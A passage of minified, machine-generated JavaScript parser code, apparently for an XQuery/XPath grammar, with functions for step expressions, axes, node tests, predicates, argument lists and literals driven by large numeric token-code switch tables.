26:Ll(266);break;default:_l=Hl}if(_l!=25&&_l!=27&&_l!=37&&_l!=38&&_l!=40&&_l!=41&&_l!=42&&_l!=46&&_l!=47&&_l!=49&&_l!=53&&_l!=54&&_l!=57&&_l!=58&&_l!=60&&_l!=61&&_l!=62&&_l!=63&&_l!=69&&_l!=70&&_l!=75&&_l!=79&&_l!=80&&_l!=81&&_l!=84&&_l!=87&&_l!=88&&_l!=89&&_l!=90&&_l!=94&&_l!=99&&_l!=105&&_l!=109&&_l!=113&&_l!=118&&_l!=122&&_l!=123&&_l!=126&&_l!=128&&_l!=131&&_l!=137&&_l!=146&&_l!=148&&_l!=150&&_l!=151&&_l!=160&&_l!=162&&_l!=163&&_l!=164&&_l!=172&&_l!=174&&_l!=178&&_l!=180&&_l!=181&&_l!=186&&_l!=198&&_l!=200&&_l!=201&&_l!=205&&_l!=220&&_l!=224&&_l!=232&&_l!=236&&_l!=237&&_l!=247&&_l!=248&&_l!=249&&_l!=254&&_l!=266&&_l!=270&&_l!=273&&_l!=279&&_l!=280&&_l!=281&&_l!=282&&_l!=23578&&_l!=24090){_l=Kl(3,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{switch(Hl){case 46:xl(46);break;case 47:xl(47);break;default:xl(26)}kl(265),Dr(),Jl(3,t,-1);continue}catch(a){Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(3,t,-2);break}}}if(_l!=-1&&_l!=46&&_l!=47)break;switch(Hl){case 46:xl(46);break;case 47:xl(47);break;default:xl(26)}kl(265),Dr()}}function _r(){Vl.startNonterminal(\"StepExpr\",Pl);switch(Hl){case 82:Ll(285);break;case 121:Ll(283);break;case 184:case 216:Ll(282);break;case 96:case 119:case 202:case 244:case 256:Ll(247);break;case 78:case 124:case 152:case 165:case 167:case 242:case 243:case 253:Ll(240);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(246);break;case 6:case 70:case 72:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 137:case 141:case 145:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(244);break;default:_l=Hl}if(_l==35922||_l==35961||_l==36024||_l==36056||_l==38482||_l==38521||_l==38584||_l==38616||_l==40530||_l==40569||_l==40632||_l==40664||_l==41042||_l==41081||_l==41144||_l==41176||_l==41554||_l==41593||_l==41656||_l==41688||_l==43090||_l==43129||_l==43192||_l==43224||_l==45138||_l==45177||_l==45240||_l==45272||_l==45650||_l==45689||_l==45752||_l==45784||_l==46162||_l==46201||_l==46264||_l==46296||_l==48210||_l==48249||_l==48312||_l==48344||_l==53842||_l==53881||_l==53944||_l==53976||_l==55890||_l==55929||_l==55992||_l==56024||_l==57938||_l==57977||_l==58040||_l==58072||_l==60498||_l==60537||_l==60600||_l==60632||_l==62546||_l==62585||_l==62648||_l==62680||_l==63058||_l==63097||_l==63160||_l==63192||_l==64594||_l==64633||_l==64696||_l==64728||_l==65618||_l==65657||_l==65720||_l==65752||_l==67154||_l==67193||_l==67256||_l==67288||_l==70226||_l==70265||_l==70328||_l==70360||_l==74834||_l==74873||_l==74936||_l==74968||_l==75858||_l==75897||_l==75960||_l==75992||_l==76882||_l==76921||_l==76984||_l==77016||_l==77394||_l==77433||_l==77496||_l==77528||_l==82002||_l==82041||_l==82104||_l==82136||_l==83026||_l==83065||_l==83128||_l==83160||_l==83538||_l==83577||_l==83640||_l==83672||_l==84050||_l==84089||_l==84152||_l==84184||_l==88146||_l==88185||_l==88248||_l==88280||_l==89170||_l==89209||_l==89272||_l==89304||_l==91218||_l==91257||_l==91320||_l==91352||_l==92242||_l==92281||_l==92344||_l==92376||_l==92754||_l==92793||_l==92856||_l==92888||_l==95314||_l==95353||_l==95416||_l==95448||_l==101458||_l==101497||_l==101560||_l==101592||_l==102482||_l==102521||_l==102584||_l==102616||_l==102994||_l==103033||_l==103096||_l==103128||_l==112722||_l==112761||_l==112824||_l==112856||_l==114770||_l==114809||_l==114872||_l==114904||_l==120914||_l==120953||_l==121016||_l==121048||_l==121426||_l==121465||_l==121528||_l==121560||_l==127058||_l==127097||_l==127160||_l==127192||_l==127570||_l==127609||_l==127672||_l==127704||_l==130130||_l==130169||_l==130232||_l==130264||_l==136274||_l==136313||_l==136376||_l==136408||_l==138322||_l==138361||_l==138424||_l==138456){_l=Kl(4,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Zr(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(4,Pl,_l)}}switch(_l){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 34:case 44:case 54:case 55:case 59:case 68:case 276:case 278:case 3154:case 3193:case 9912:case 9944:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14993:case 14994:case 14996:case 14998:case 14999:case 15e3:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15033:case 15034:case 15039:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15074:case 15075:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15090:case 15091:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15101:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17553:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:case 36946:case 36985:case 37048:case 37080:case 37458:case 37497:case 37560:case 37592:case 37970:case 38009:case 38072:case 38104:case 39506:case 39545:case 39608:case 39640:case 40018:case 40057:case 42066:case 42105:case 42168:case 42200:case 42578:case 42617:case 42680:case 42712:case 43602:case 43641:case 43704:case 43736:case 44114:case 44153:case 44216:case 44248:case 46674:case 46713:case 46776:case 46808:case 47698:case 47737:case 47800:case 47832:case 49234:case 49273:case 49336:case 49368:case 49746:case 49785:case 49848:case 49880:case 50258:case 50297:case 50360:case 50392:case 51794:case 51833:case 51896:case 51928:case 52306:case 52345:case 52408:case 52440:case 52818:case 52857:case 52920:case 52952:case 53330:case 53369:case 53432:case 53464:case 54354:case 54393:case 54456:case 54488:case 55378:case 55417:case 55480:case 55512:case 56402:case 56441:case 56504:case 56536:case 56914:case 56953:case 57016:case 57048:case 57426:case 57465:case 57528:case 57560:case 61010:case 61049:case 61112:case 61144:case 61522:case 61561:case 61624:case 61656:case 62034:case 62073:case 62136:case 62168:case 63570:case 63609:case 63672:case 63704:case 64082:case 64121:case 64184:case 64216:case 66130:case 66169:case 66232:case 66264:case 67666:case 67705:case 67768:case 67800:case 68178:case 68217:case 68280:case 68312:case 68690:case 68729:case 68792:case 68824:case 69202:case 69241:case 69304:case 69336:case 69714:case 69753:case 69816:case 69848:case 72274:case 72313:case 72376:case 72408:case 74322:case 74361:case 74424:case 74456:case 77906:case 77945:case 78008:case 78040:case 78418:case 78457:case 78520:case 78552:case 78930:case 78969:case 79032:case 79064:case 79442:case 79481:case 79544:case 79576:case 81490:case 81529:case 81592:case 81624:case 82514:case 82553:case 82616:case 82648:case 84562:case 84601:case 84664:case 84696:case 85074:case 85113:case 85176:case 85208:case 85586:case 85625:case 87122:case 87161:case 87224:case 87256:case 87634:case 87673:case 87736:case 87768:case 90194:case 90233:case 90296:case 90328:case 93266:case 93305:case 93368:case 93400:case 94290:case 94329:case 94392:case 94424:case 94802:case 94841:case 94904:case 94936:case 97874:case 97913:case 97976:case 98008:case 98386:case 98425:case 98488:case 98520:case 99410:case 99449:case 99512:case 99544:case 101970:case 102009:case 102072:case 102104:case 103506:case 103545:case 103608:case 103640:case 104018:case 104057:case 104120:case 104152:case 105554:case 105593:case 105656:case 105688:case 108626:case 108665:case 108728:case 108760:case 109138:case 109177:case 109240:case 109272:case 110674:case 110713:case 110776:case 110808:case 111698:case 111737:case 111800:case 111832:case 112210:case 112249:case 112312:case 112344:case 113234:case 113273:case 113336:case 113368:case 113746:case 113785:case 113848:case 113880:case 115282:case 115321:case 115384:case 115416:case 115794:case 115833:case 115896:case 115928:case 116306:case 116345:case 116408:case 116440:case 116818:case 116857:case 116920:case 116952:case 117330:case 117369:case 117432:case 117464:case 119890:case 119929:case 119992:case 120024:case 120402:case 120441:case 120504:case 120536:case 122962:case 123001:case 123064:case 123096:case 123986:case 124025:case 124498:case 124537:case 124600:case 124632:case 125010:case 125049:case 125112:case 125144:case 128082:case 128121:case 128184:case 128216:case 128594:case 128633:case 128696:case 128728:case 129106:case 129145:case 129208:case 129240:case 129618:case 129657:case 129720:case 129752:case 131154:case 131193:case 131256:case 131288:case 131666:case 131705:case 131768:case 131800:case 133202:case 133241:case 133304:case 133336:case 133714:case 133753:case 133816:case 133848:case 134226:case 134265:case 134328:case 134360:case 134738:case 134777:case 134840:case 134872:case 136786:case 136825:case 136888:case 136920:case 140370:case 140409:case 140472:case 140504:case 141394:case 141408:case 141431:case 141433:case 141496:case 141514:case 141528:case 141556:case 141568:Yr();break;default:Pr()}Vl.endNonterminal(\"StepExpr\",Pl)}function Dr(){switch(Hl){case 82:Ll(285);break;case 121:Ll(283);break;case 184:case 216:Ll(282);break;case 96:case 119:case 202:case 244:case 256:Ll(247);break;case 78:case 124:case 152:case 165:case 167:case 242:case 243:case 253:Ll(240);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(246);break;case 6:case 70:case 72:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 137:case 141:case 145:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(244);break;default:_l=Hl}if(_l==35922||_l==35961||_l==36024||_l==36056||_l==38482||_l==38521||_l==38584||_l==38616||_l==40530||_l==40569||_l==40632||_l==40664||_l==41042||_l==41081||_l==41144||_l==41176||_l==41554||_l==41593||_l==41656||_l==41688||_l==43090||_l==43129||_l==43192||_l==43224||_l==45138||_l==45177||_l==45240||_l==45272||_l==45650||_l==45689||_l==45752||_l==45784||_l==46162||_l==46201||_l==46264||_l==46296||_l==48210||_l==48249||_l==48312||_l==48344||_l==53842||_l==53881||_l==53944||_l==53976||_l==55890||_l==55929||_l==55992||_l==56024||_l==57938||_l==57977||_l==58040||_l==58072||_l==60498||_l==60537||_l==60600||_l==60632||_l==62546||_l==62585||_l==62648||_l==62680||_l==63058||_l==63097||_l==63160||_l==63192||_l==64594||_l==64633||_l==64696||_l==64728||_l==65618||_l==65657||_l==65720||_l==65752||_l==67154||_l==67193||_l==67256||_l==67288||_l==70226||_l==70265||_l==70328||_l==70360||_l==74834||_l==74873||_l==74936||_l==74968||_l==75858||_l==75897||_l==75960||_l==75992||_l==76882||_l==76921||_l==76984||_l==77016||_l==77394||_l==77433||_l==77496||_l==77528||_l==82002||_l==82041||_l==82104||_l==82136||_l==83026||_l==83065||_l==83128||_l==83160||_l==83538||_l==83577||_l==83640||_l==83672||_l==84050||_l==84089||_l==84152||_l==84184||_l==88146||_l==88185||_l==88248||_l==88280||_l==89170||_l==89209||_l==89272||_l==89304||_l==91218||_l==91257||_l==91320||_l==91352||_l==92242||_l==92281||_l==92344||_l==92376||_l==92754||_l==92793||_l==92856||_l==92888||_l==95314||_l==95353||_l==95416||_l==95448||_l==101458||_l==101497||_l==101560||_l==101592||_l==102482||_l==102521||_l==102584||_l==102616||_l==102994||_l==103033||_l==103096||_l==103128||_l==112722||_l==112761||_l==112824||_l==112856||_l==114770||_l==114809||_l==114872||_l==114904||_l==120914||_l==120953||_l==121016||_l==121048||_l==121426||_l==121465||_l==121528||_l==121560||_l==127058||_l==127097||_l==127160||_l==127192||_l==127570||_l==127609||_l==127672||_l==127704||_l==130130||_l==130169||_l==130232||_l==130264||_l==136274||_l==136313||_l==136376||_l==136408||_l==138322||_l==138361||_l==138424||_l==138456){_l=Kl(4,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Zr(),Jl(4,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(4,t,-2)}}}switch(_l){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 34:case 44:case 54:case 55:case 59:case 68:case 276:case 278:case 3154:case 3193:case 9912:case 9944:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14993:case 14994:case 14996:case 14998:case 14999:case 15e3:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15033:case 15034:case 15039:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15074:case 15075:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15090:case 15091:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15101:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17553:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:case 36946:case 36985:case 37048:case 37080:case 37458:case 37497:case 37560:case 37592:case 37970:case 38009:case 38072:case 38104:case 39506:case 39545:case 39608:case 39640:case 40018:case 40057:case 42066:case 42105:case 42168:case 42200:case 42578:case 42617:case 42680:case 42712:case 43602:case 43641:case 43704:case 43736:case 44114:case 44153:case 44216:case 44248:case 46674:case 46713:case 46776:case 46808:case 47698:case 47737:case 47800:case 47832:case 49234:case 49273:case 49336:case 49368:case 49746:case 49785:case 49848:case 49880:case 50258:case 50297:case 50360:case 50392:case 51794:case 51833:case 51896:case 51928:case 52306:case 52345:case 52408:case 52440:case 52818:case 52857:case 52920:case 52952:case 53330:case 53369:case 53432:case 53464:case 54354:case 54393:case 54456:case 54488:case 55378:case 55417:case 55480:case 55512:case 56402:case 56441:case 56504:case 56536:case 56914:case 56953:case 57016:case 57048:case 57426:case 57465:case 57528:case 57560:case 61010:case 61049:case 61112:case 61144:case 61522:case 61561:case 61624:case 61656:case 62034:case 62073:case 62136:case 62168:case 63570:case 63609:case 63672:case 63704:case 64082:case 64121:case 64184:case 64216:case 66130:case 66169:case 66232:case 66264:case 67666:case 67705:case 67768:case 67800:case 68178:case 68217:case 68280:case 68312:case 68690:case 68729:case 68792:case 68824:case 69202:case 69241:case 69304:case 69336:case 69714:case 69753:case 69816:case 69848:case 72274:case 72313:case 72376:case 72408:case 74322:case 74361:case 74424:case 74456:case 77906:case 77945:case 78008:case 78040:case 78418:case 78457:case 78520:case 78552:case 78930:case 78969:case 79032:case 79064:case 79442:case 79481:case 79544:case 79576:case 81490:case 81529:case 81592:case 81624:case 82514:case 82553:case 82616:case 82648:case 84562:case 84601:case 84664:case 84696:case 85074:case 85113:case 85176:case 85208:case 85586:case 85625:case 87122:case 87161:case 87224:case 87256:case 87634:case 87673:case 87736:case 87768:case 90194:case 90233:case 90296:case 90328:case 93266:case 93305:case 93368:case 93400:case 94290:case 94329:case 94392:case 94424:case 94802:case 94841:case 94904:case 94936:case 97874:case 97913:case 97976:case 98008:case 98386:case 98425:case 98488:case 98520:case 99410:case 99449:case 99512:case 99544:case 101970:case 102009:case 102072:case 102104:case 103506:case 103545:case 103608:case 103640:case 104018:case 104057:case 104120:case 104152:case 105554:case 105593:case 105656:case 105688:case 108626:case 108665:case 108728:case 108760:case 109138:case 109177:case 109240:case 109272:case 110674:case 110713:case 110776:case 110808:case 111698:case 111737:case 111800:case 111832:case 112210:case 112249:case 112312:case 112344:case 113234:case 113273:case 113336:case 113368:case 113746:case 113785:case 113848:case 113880:case 115282:case 115321:case 115384:case 115416:case 115794:case 115833:case 115896:case 115928:case 116306:case 116345:case 116408:case 116440:case 116818:case 116857:case 116920:case 116952:case 117330:case 117369:case 117432:case 117464:case 119890:case 119929:case 119992:case 120024:case 120402:case 120441:case 120504:case 120536:case 122962:case 123001:case 123064:case 123096:case 123986:case 124025:case 124498:case 124537:case 124600:case 124632:case 125010:case 125049:case 125112:case 125144:case 128082:case 128121:case 128184:case 128216:case 128594:case 128633:case 128696:case 128728:case 129106:case 129145:case 129208:case 129240:case 129618:case 129657:case 129720:case 129752:case 131154:case 131193:case 131256:case 131288:case 131666:case 131705:case 131768:case 131800:case 133202:case 133241:case 133304:case 133336:case 133714:case 133753:case 133816:case 133848:case 134226:case 134265:case 134328:case 134360:case 134738:case 134777:case 134840:case 134872:case 136786:case 136825:case 136888:case 136920:case 140370:case 140409:case 140472:case 140504:case 141394:case 141408:case 141431:case 141433:case 141496:case 141514:case 141528:case 141556:case 141568:Zr();break;case-3:break;default:Hr()}}function Pr(){Vl.startNonterminal(\"AxisStep\",Pl);switch(Hl){case 73:case 74:case 206:case 212:case 213:Ll(242);break;default:_l=Hl}switch(_l){case 45:case 26185:case 26186:case 26318:case 26324:case 26325:Ur();break;default:Br()}kl(238),Nl(),ni(),Vl.endNonterminal(\"AxisStep\",Pl)}function Hr(){switch(Hl){case 73:case 74:case 206:case 212:case 213:Ll(242);break;default:_l=Hl}switch(_l){case 45:case 26185:case 26186:case 26318:case 26324:case 26325:zr();break;default:jr()}kl(238),ri()}function Br(){Vl.startNonterminal(\"ForwardStep\",Pl);switch(Hl){case 82:Ll(245);break;case 93:case 111:case 112:case 135:case 136:case 229:Ll(242);break;default:_l=Hl}switch(_l){case 26194:case 26205:case 26223:case 26224:case 26247:case 26248:case 26341:Fr(),kl(257),Nl(),Jr();break;default:qr()}Vl.endNonterminal(\"ForwardStep\",Pl)}function jr(){switch(Hl){case 82:Ll(245);break;case 93:case 111:case 112:case 135:case 136:case 229:Ll(242);break;default:_l=Hl}switch(_l){case 26194:case 26205:case 26223:case 26224:case 26247:case 26248:case 26341:Ir(),kl(257),Kr();break;default:Rr()}}function Fr(){Vl.startNonterminal(\"ForwardAxis\",Pl);switch(Hl){case 93:Sl(93),kl(26),Sl(51);break;case 111:Sl(111),kl(26),Sl(51);break;case 82:Sl(82),kl(26),Sl(51);break;case 229:Sl(229),kl(26),Sl(51);break;case 112:Sl(112),kl(26),Sl(51);break;case 136:Sl(136),kl(26),Sl(51);break;default:Sl(135),kl(26),Sl(51)}Vl.endNonterminal(\"ForwardAxis\",Pl)}function Ir(){switch(Hl){case 93:xl(93),kl(26),xl(51);break;case 111:xl(111),kl(26),xl(51);break;case 82:xl(82),kl(26),xl(51);break;case 229:xl(229),kl(26),xl(51);break;case 112:xl(112),kl(26),xl(51);break;case 136:xl(136),kl(26),xl(51);break;default:xl(135),kl(26),xl(51)}}function qr(){Vl.startNonterminal(\"AbbrevForwardStep\",Pl),Hl==66&&Sl(66),kl(257),Nl(),Jr(),Vl.endNonterminal(\"AbbrevForwardStep\",Pl)}function Rr(){Hl==66&&xl(66),kl(257),Kr()}function Ur(){Vl.startNonterminal(\"ReverseStep\",Pl);switch(Hl){case 45:Vr();break;default:Wr(),kl(257),Nl(),Jr()}Vl.endNonterminal(\"ReverseStep\",Pl)}function zr(){switch(Hl){case 45:$r();break;default:Xr(),kl(257),Kr()}}function Wr(){Vl.startNonterminal(\"ReverseAxis\",Pl);switch(Hl){case 206:Sl(206),kl(26),Sl(51);break;case 73:Sl(73),kl(26),Sl(51);break;case 213:Sl(213),kl(26),Sl(51);break;case 212:Sl(212),kl(26),Sl(51);break;default:Sl(74),kl(26),Sl(51)}Vl.endNonterminal(\"ReverseAxis\",Pl)}function Xr(){switch(Hl){case 206:xl(206),kl(26),xl(51);break;case 73:xl(73),kl(26),xl(51);break;case 213:xl(213),kl(26),xl(51);break;case 212:xl(212),kl(26),xl(51);break;default:xl(74),kl(26),xl(51)}}function Vr(){Vl.startNonterminal(\"AbbrevReverseStep\",Pl),Sl(45),Vl.endNonterminal(\"AbbrevReverseStep\",Pl)}function $r(){xl(45)}function Jr(){Vl.startNonterminal(\"NodeTest\",Pl);switch(Hl){case 82:case 96:case 120:case 121:case 185:case 191:case 216:case 226:case 227:case 244:Ll(241);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Ps();break;default:Qr()}Vl.endNonterminal(\"NodeTest\",Pl)}function Kr(){switch(Hl){case 82:case 96:case 120:case 121:case 185:case 191:case 216:case 226:case 227:case 244:Ll(241);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Hs();break;default:Gr()}}function Qr(){Vl.startNonterminal(\"NameTest\",Pl);switch(Hl){case 5:Sl(5);break;default:Ha()}Vl.endNonterminal(\"NameTest\",Pl)}function Gr(){switch(Hl){case 5:xl(5);break;default:Ba()}}function Yr(){Vl.startNonterminal(\"PostfixExpr\",Pl),ol();for(;;){kl(241);if(Hl!=34&&Hl!=68)break;switch(Hl){case 68:Nl(),ii();break;default:Nl(),ei()}}Vl.endNonterminal(\"PostfixExpr\",Pl)}function Zr(){ul();for(;;){kl(241);if(Hl!=34&&Hl!=68)break;switch(Hl){case 68:si();break;default:ti()}}}function ei(){Vl.startNonterminal(\"ArgumentList\",Pl),Sl(34),kl(276);if(Hl!=37){Nl(),Ti();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(271),Nl(),Ti()}}Sl(37),Vl.endNonterminal(\"ArgumentList\",Pl)}function ti(){xl(34),kl(276);if(Hl!=37){Ni();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(271),Ni()}}xl(37)}function ni(){Vl.startNonterminal(\"PredicateList\",Pl);for(;;){kl(238);if(Hl!=68)break;Nl(),ii()}Vl.endNonterminal(\"PredicateList\",Pl)}function ri(){for(;;){kl(238);if(Hl!=68)break;si()}}function ii(){Vl.startNonterminal(\"Predicate\",Pl),Sl(68),kl(267),Nl(),G(),Sl(69),Vl.endNonterminal(\"Predicate\",Pl)}function si(){xl(68),kl(267),Y(),xl(69)}function oi(){Vl.startNonterminal(\"Literal\",Pl);switch(Hl){case 11:Sl(11);break;default:ai()}Vl.endNonterminal(\"Literal\",Pl)}function ui(){switch(Hl){case 11:xl(11);break;default:fi()}}function ai(){Vl.startNonterminal(\"NumericLiteral\",Pl);switch(Hl){case 8:Sl(8);break;case 9:Sl(9);break;default:Sl(10)}Vl.endNonterminal(\"NumericLiteral\",Pl)}function fi(){switch(Hl){case 8:xl(8);break;case 9:xl(9);break;default:xl(10)}}function li(){Vl.startNonterminal(\"VarRef\",Pl),Sl(31),kl(255),Nl(),hi(),Vl.endNonterminal(\"VarRef\",Pl)}function ci(){xl(31),kl(255),pi()}function hi(){Vl.startNonterminal(\"VarName\",Pl),Ha(),Vl.endNonterminal(\"VarName\",Pl)}function pi(){Ba()}function di(){Vl.startNonterminal(\"ParenthesizedExpr\",Pl),Sl(34),kl(269),Hl!=37&&(Nl(),G()),Sl(37),Vl.endNonterminal(\"ParenthesizedExpr\",Pl)}function vi(){xl(34),kl(269),Hl!=37&&Y(),xl(37)}function mi(){Vl.startNonterminal(\"ContextItemExpr\",Pl),Sl(44),Vl.endNonterminal(\"ContextItemExpr\",Pl)}function gi(){xl(44)}function yi(){Vl.startNonterminal(\"OrderedExpr\",Pl),Sl(202),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"OrderedExpr\",Pl)}function bi(){xl(202),kl(87),xl(276),kl(267),Y(),xl(282)}function wi(){Vl.startNonterminal(\"UnorderedExpr\",Pl),Sl(256),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"UnorderedExpr\",Pl)}function Ei(){xl(256),kl(87),xl(276),kl(267),Y(),xl(282)}function Si(){Vl.startNonterminal(\"FunctionCall\",Pl),ja(),kl(22),Nl(),ei(),Vl.endNonterminal(\"FunctionCall\",Pl)}function xi(){Fa(),kl(22),ti()}function Ti(){Vl.startNonterminal(\"Argument\",Pl);switch(Hl){case 64:Ci();break;default:_f()}Vl.endNonterminal(\"Argument\",Pl)}function Ni(){switch(Hl){case 64:ki();break;default:Df()}}function Ci(){Vl.startNonterminal(\"ArgumentPlaceholder\",Pl),Sl(64),Vl.endNonterminal(\"ArgumentPlaceholder\",Pl)}function ki(){xl(64)}function Li(){Vl.startNonterminal(\"Constructor\",Pl);switch(Hl){case 54:case 55:case 59:Oi();break;default:Ji()}Vl.endNonterminal(\"Constructor\",Pl)}function Ai(){switch(Hl){case 54:case 55:case 59:Mi();break;default:Ki()}}function Oi(){Vl.startNonterminal(\"DirectConstructor\",Pl);switch(Hl){case 54:_i();break;case 